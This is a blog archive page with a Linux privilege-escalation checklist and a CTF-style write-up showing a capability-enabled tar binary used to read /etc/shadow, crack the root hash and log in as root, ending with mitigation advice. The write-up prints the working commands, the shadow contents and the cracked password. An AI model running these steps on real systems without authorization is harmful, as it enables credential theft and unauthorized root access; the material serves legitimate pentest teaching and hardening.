privesc Archives

Useful for both pentesters and systems administrators, this checklist is focused on privilege escalation on GNU/Linux operating systems. Many of these will also apply to Unix systems, (FreeBSD, Solaris, etc.) and some may apply to Windows. The following information is based on the assumption that you have CLI access to the system as non-root user.

This list is far from complete, it will be periodically updated.

Are there any hashes in /etc/passwd? If so, can they be cracked quickly? (JtR, HashCat)
Is /etc/shadow readable? If so, are the hashes easily crackable?
Is /etc/passwd or /etc/shadow writeable?
Any passwords in configuration or other files? Is the root password one of those?
Does the current user have sudo rights at all? If so, how can they be abused?
Check /home, /root, /etc/ssh for readable private ssh keys.
Check /home, /root, /etc/ssh for writeable public ssh keys. (authorized_keys) . If not, can an authorized_keys file be created for another user?
Kernel exploits?
Check for SUID/SGID files that may give you read/write/execute access to sensitive files.
Vulnerable/exploitable SUID/SGID executables.
Vulnerable/exploitable files with special capabilities. (This is detailed here)
Vulnerable/exploitable services running as another user/root, or that allow shell commands or other system access? (VNC as root for example)
Are shell rc files (.bashrc, .zshrc, .profile, etc.) writeable? If so, malicious commands can be added to that file, will run when the user/root logs in.
Writeable cron jobs, or other executables/scripts that are run by root.
Replaceable/writeable modules/libraries that are used by privileged executables/scripts/processes.
Writeable configuration files (*.conf) that are used by privileges executables/scripts/processes.
Are there any interesting files in /var/mail/ or /home/*/? Any passwords or useful info in /home/*/.bash_history?

Introduction

I recently came across an interesting way of escalating privileges on a GNU/Linux system during a CTF challenge. It involves file/process capabilities.

In Linux, files may be given specific capabilities. For example, if an executable needs to access (read) files that are only readable by root, it is possible to give that file this ‘permission’ without having it run with complete root privileges. This allows for a more secure system in general. For more info about this subject, click here.

getcap and setcap are used to view and set capabilities, respectively. They usually belong to the libcap2-bin package on debian and debian-based distributions.

Privilege Escalation

We would start by scanning the file system for files with capabilities using getcap -r / The -r flag tells getcap to search recursively, ‘/‘ to indicate that we want to search the whole system.

The output is usually filled with tens or hundreds of “Operation not supported” errors, making it hard to read. We can redirect errors to /dev/null to get a cleaner output.

nxnjz@test-machine:~$ getcap -r / 2>/dev/null
/home/nxnjz/tar = cap_dac_read_search+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep

An unusual finding: tar has cap_dac_read_search capabilities. This means it has read access to anything. We could use this to read SSH keys, or /etc/shadow and get password hashes.

/etc/shadow is usually only readable by root:

nxnjz@test-machine:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied

But since tar has that capability, we can archive /etc/shadow, extract it from the archive and read it.

nxnjz@test-machine:~$ ls
tar
nxnjz@test-machine:~$ ./tar -cvf shadow.tar /etc/shadow
./tar: Removing leading `/’ from member names
/etc/shadow
nxnjz@test-machine:~$ ls
shadow.tar tar
nxnjz@test-machine:~$ ./tar -xvf shadow.tar
etc/shadow
nxnjz@test-machine:~$ ls
etc shadow.tar tar
nxnjz@test-machine:~$ cat etc/shadow
root:$1$xyz$Bf.3hZ4SmETM3A78n1nWr.:17735:0:99999:7:::
daemon:*:17729:0:99999:7:::
bin:*:17729:0:99999:7:::
sys:*:17729:0:99999:7:::
sync:*:17729:0:99999:7:::
games:*:17729:0:99999:7:::
man:*:17729:0:99999:7:::
lp:*:17729:0:99999:7:::
mail:*:17729:0:99999:7:::
news:*:17729:0:99999:7:::
uucp:*:17729:0:99999:7:::
proxy:*:17729:0:99999:7:::
nxnjz:$1$sTfA$SnnNO9Cflvs4aq4ZCU/6J/:17764:0:99999:7:::

After cracking that password hash for root, which turns out to be ‘root1234’, we can login using su:

nxnjz@test-machine:~$ su root
Password:
root@test-machine:/home/nxnjz# whoami
root
root@test-machine:/home/nxnjz#

Conclusion & Mitigation

This is simply an example of how capabilities can serve as a privilege escalation vector. Another very useful capability in a scenario like this would be cap_dac_override, which allows full read/write/execute access. This obviously could be used in various ways to escalate privileges, including but not limited to, adding a root user to /etc/passwd or /etc/shadow, modifying cron jobs running by root, adding a public ssh key to /root/authorized_keys, or simply opening a root shell.

Keep in mind that the presence of a potentially exploitable capability does not guarantee privilege escalation. You’re still limited by the functionality of the executable in question.

Besides, capabilities are rarely used in the wild. System administrators rarely set/change capabilities.

System Administrators should make sure that no abusable or exploitable capabilities are assigned on their file system. Capabilities are generally safer than SUID, but they may still pose a risk.

Tag: privesc

Linux Privilege Escalation Checklist

An Interesting Privilege Escalation vector (getcap/setcap)

Introduction

Privilege Escalation

Conclusion & Mitigation